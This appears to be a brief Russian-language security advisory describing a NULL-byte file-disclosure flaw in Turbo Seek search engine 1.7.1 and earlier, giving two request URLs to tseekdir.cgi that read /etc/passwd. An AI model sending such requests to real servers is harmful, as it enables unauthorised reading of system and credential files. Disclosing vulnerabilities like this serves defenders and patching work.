Программа: Turbo Seek search engine 1.7.1 и более ранние версии 

Удаленный пользователь может просматривать содержание файлов на целевом сервере.
Удаленный пользователь может запросить URL с именем файла, за которым следует NULL байт (‘%00’), чтобы заставить систему отобразить содержание запрашиваемого файла: 

/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
/cgi-bin /tseekdir.cgi?id=799&location=/etc/passwd%00

Оставить мнение